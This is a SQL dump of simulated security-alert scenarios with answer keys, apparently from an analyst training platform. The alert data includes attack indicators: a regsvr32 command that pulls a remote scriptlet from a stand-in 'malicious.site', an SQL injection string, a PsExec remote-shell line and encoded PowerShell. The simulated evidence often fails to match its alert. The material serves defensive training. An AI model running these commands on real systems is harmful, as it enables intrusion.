(660, 'Suspicious PowerShell Command with Encoded Payload', 'high', 'Splunk', 'A PowerShell script was executed using an encoded command, indicating possible obfuscation tactics.', 'Malware', 'T1059.001', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T09:15:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.1.12\",\"dst_ip\":\"192.168.1.5\",\"username\":\"jdoe\",\"hostname\":\"CORP-WIN12\",\"command_line\":\"powershell.exe -enc ZQBlAGwAbABvACAAJwBoAGUAbABsAG8AdwBvAHIAbABkACcA\"}', '2026-01-09 15:31:43', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"powershell.exe -enc ZQBlAGwAbABvACAAJwBoAGUAbABsAG8AdwBvAHIAbABkACcA\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell commands are often used for obfuscation by malware.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.1.12\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address.\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Encoded PowerShell commands are a known indicator of malicious activity.\"}', 'Advanced', 'EDR', 7, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.306Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:15:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.1.12\\\",\\\"dst_ip\\\":\\\"192.168.1.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-WIN12\\\",\\\"command_line\\\":\\\"powershell.exe -enc ZQBlAGwAbABvACAAJwBoAGUAbABsAG8AdwBvAHIAbABkACcA\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.306Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:15:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.1.12\\\",\\\"dst_ip\\\":\\\"192.168.1.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-WIN12\\\",\\\"command_line\\\":\\\"powershell.exe -enc ZQBlAGwAbABvACAAJwBoAGUAbABsAG8AdwBvAHIAbABkACcA\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.306Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:15:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.1.12\\\",\\\"dst_ip\\\":\\\"192.168.1.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-WIN12\\\",\\\"command_line\\\":\\\"powershell.exe -enc ZQBlAGwAbABvACAAJwBoAGUAbABsAG8AdwBvAHIAbABkACcA\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.306Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:15:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.1.12\\\",\\\"dst_ip\\\":\\\"192.168.1.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-WIN12\\\",\\\"command_line\\\":\\\"powershell.exe -enc ZQBlAGwAbABvACAAJwBoAGUAbABsAG8AdwBvAHIAbABkACcA\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.306Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:15:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.1.12\\\",\\\"dst_ip\\\":\\\"192.168.1.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-WIN12\\\",\\\"command_line\\\":\\\"powershell.exe -enc ZQBlAGwAbABvACAAJwBoAGUAbABsAG8AdwBvAHIAbABkACcA\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(661, 'Multiple Failed Login Attempts Detected', 'medium', 'Wazuh', 'A foreign IP address attempted to log in 23 times unsuccessfully, indicating a brute force attack.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T11:30:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.25\",\"username\":\"administrator\",\"hostname\":\"DC01\",\"failed_attempts\":23}', '2026-01-10 14:02:12', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"administrator\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Common target for brute force attacks.\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"Frequent failed login attempts from a known malicious IP indicates a brute force attack.\"}', 'Advanced', 'SIEM', 7, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.308Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.25\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"DC01\\\",\\\"failed_attempts\\\":23}\"},{\"timestamp\":\"2026-02-01T20:31:22.308Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.25\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"DC01\\\",\\\"failed_attempts\\\":23}\"},{\"timestamp\":\"2026-02-01T20:30:22.308Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.25\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"DC01\\\",\\\"failed_attempts\\\":23}\"},{\"timestamp\":\"2026-02-01T20:29:22.308Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.25\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"DC01\\\",\\\"failed_attempts\\\":23}\"},{\"timestamp\":\"2026-02-01T20:28:22.308Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.25\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"DC01\\\",\\\"failed_attempts\\\":23}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(662, 'Malicious Email with Phishing URL Detected', 'critical', 'Proofpoint', 'An email containing a known phishing URL was received, potentially targeting user credentials.', 'Phishing', 'T1566.001', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T14:45:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.55\",\"email_sender\":\"no-reply@securebank.com\",\"username\":\"asmith\",\"hostname\":\"MAIL-SERVER\",\"url\":\"http://securebank-login.com\"}', '2026-01-11 10:11:51', '2026-02-16 18:02:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"url\",\"value\":\"http://securebank-login.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Phishing URL attempting to steal banking credentials.\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"no-reply@securebank.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Spoofed domain resembling legitimate bank.\"}}],\"expected_actions\":[\"block_url\",\"notify_user\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"Phishing URL detected in email, posing a threat to user credentials.\"}', 'Advanced', 'SIEM', 7, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Malicious Email with Phishing URL Detected\",\"date\":\"2026-02-01T20:32:22.309Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(663, 'Lateral Movement via PSExec Detected', 'high', 'CrowdStrike', 'Suspicious PSExec activity detected, indicating potential lateral movement within the network.', 'Lateral Movement', 'T1569.002', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T16:20:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.1.15\",\"dst_ip\":\"10.0.1.20\",\"username\":\"svc_admin\",\"hostname\":\"SRV-APP01\",\"command_line\":\"psexec.exe \\\\\\\\10.0.1.20 -u svc_admin -p ******** -c cmd.exe\"}', '2026-01-10 21:33:29', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"psexec.exe \\\\\\\\10.0.1.20 -u svc_admin -p ******** -c cmd.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"PSExec usage detected, commonly used for lateral movement by attackers.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address.\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"PSExec usage from internal to internal IPs suggests lateral movement.\"}', 'Advanced', 'EDR', 7, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(664, 'SQL Injection Attempt on Public Web Application', 'high', 'IDS/IPS', 'A potential SQL injection attack was detected targeting the login page of a public web application.', 'Web Attack', 'T1505', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T17:00:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"203.0.113.60\",\"dst_ip\":\"192.168.1.30\",\"request_body\":\"\' OR \'1\'=\'1\' --\",\"url\":\"http://webapp.local/login\"}', '2026-01-10 00:59:01', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"payload\",\"value\":\"\' OR \'1\'=\'1\' --\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"SQL injection attempt detected.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.60\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in multiple web-based attacks.\"}}],\"expected_actions\":[\"block_ip\",\"monitor_application\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"SQL injection attempt detected via suspicious payload on login page.\"}', 'Advanced', 'SIEM', 7, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.311Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T17:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.60\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"url\\\":\\\"http://webapp.local/login\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.311Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T17:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.60\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"url\\\":\\\"http://webapp.local/login\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.311Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T17:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.60\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"url\\\":\\\"http://webapp.local/login\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.311Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T17:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.60\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"url\\\":\\\"http://webapp.local/login\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.311Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T17:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.60\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"url\\\":\\\"http://webapp.local/login\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(665, 'Data Exfiltration Detected via Suspicious Network Connection', 'critical', 'Firewall', 'A large amount of data was transferred to an external IP, indicating potential data exfiltration.', 'Data Exfil', 'T1048', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T18:30:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.2.14\",\"dst_ip\":\"198.51.100.75\",\"username\":\"nmartin\",\"hostname\":\"FILE-SRV01\",\"data_volume\":\"1.5GB\"}', '2026-01-10 00:24:48', '2026-03-14 14:53:52', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.75\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP flagged for numerous data exfiltration incidents.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.2.14\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address involved in suspicious data transfer.\"}}],\"expected_actions\":[\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"Unusual data volume transferred to a known malicious IP suggests data exfiltration.\"}', 'Advanced', 'NDR', 7, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(666, 'False Positive: Legitimate Certutil Activity Misclassified as Malicious', 'medium', 'SIEM', 'Certutil was executed on a user machine, typically flagged for potential malware download, but verified as a legitimate use case.', 'Malware', 'T1218.010', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T19:45:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.3.18\",\"dst_ip\":\"192.168.1.10\",\"username\":\"jane.smith\",\"hostname\":\"HR-WORKSTATION\",\"command_line\":\"certutil.exe -addstore MyCompanyCert\"}', '2026-01-10 06:39:03', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"certutil.exe -addstore MyCompanyCert\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"This use of certutil is legitimate as part of company policy.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.3.18\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Certutil activity verified as legitimate based on internal policy use case.\"}', 'Advanced', 'EDR', 7, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.314Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T19:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.3.18\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jane.smith\\\",\\\"hostname\\\":\\\"HR-WORKSTATION\\\",\\\"command_line\\\":\\\"certutil.exe -addstore MyCompanyCert\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.314Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T19:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.3.18\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jane.smith\\\",\\\"hostname\\\":\\\"HR-WORKSTATION\\\",\\\"command_line\\\":\\\"certutil.exe -addstore MyCompanyCert\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.314Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T19:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.3.18\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jane.smith\\\",\\\"hostname\\\":\\\"HR-WORKSTATION\\\",\\\"command_line\\\":\\\"certutil.exe -addstore MyCompanyCert\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.314Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T19:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.3.18\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jane.smith\\\",\\\"hostname\\\":\\\"HR-WORKSTATION\\\",\\\"command_line\\\":\\\"certutil.exe -addstore MyCompanyCert\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.314Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T19:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.3.18\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jane.smith\\\",\\\"hostname\\\":\\\"HR-WORKSTATION\\\",\\\"command_line\\\":\\\"certutil.exe -addstore MyCompanyCert\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(667, 'Suspicious Regsvr32 Execution Detected', 'high', 'EDR', 'Regsvr32 was executed with a suspicious scriptlet URL, typical of a fileless malware attack.', 'Malware', 'T1218.010', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T20:05:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.4.22\",\"dst_ip\":\"192.168.1.11\",\"username\":\"mroberts\",\"hostname\":\"DESKTOP-ROBERTS\",\"command_line\":\"regsvr32.exe /s /u /i:http://malicious.site/script.sct scrobj.dll\"}', '2026-01-10 11:54:15', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"regsvr32.exe /s /u /i:http://malicious.site/script.sct scrobj.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Regsvr32 with URL pointing to a known malicious site.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.4.22\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address.\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Regsvr32 execution with external scriptlet URL suggests fileless malware activity.\"}', 'Advanced', 'EDR', 7, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(668, 'False Positive: Legitimate Application Misidentified as Malware', 'medium', 'EDR', 'A legitimate application was flagged as suspicious due to anomalous behavior, but verified as a false positive.', 'Malware', 'T1204.002', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T21:10:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.5.25\",\"dst_ip\":\"192.168.1.12\",\"username\":\"kclark\",\"hostname\":\"FINANCE-PC\",\"command_line\":\"C:\\\\Program Files\\\\LegitApp\\\\update.exe\"}', '2026-01-10 14:40:07', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"C:\\\\Program Files\\\\LegitApp\\\\update.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"The application is verified as legitimate and safe.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.5.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The flagged application was verified as legitimate and safe, confirming a false positive.\"}', 'Advanced', 'EDR', 7, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
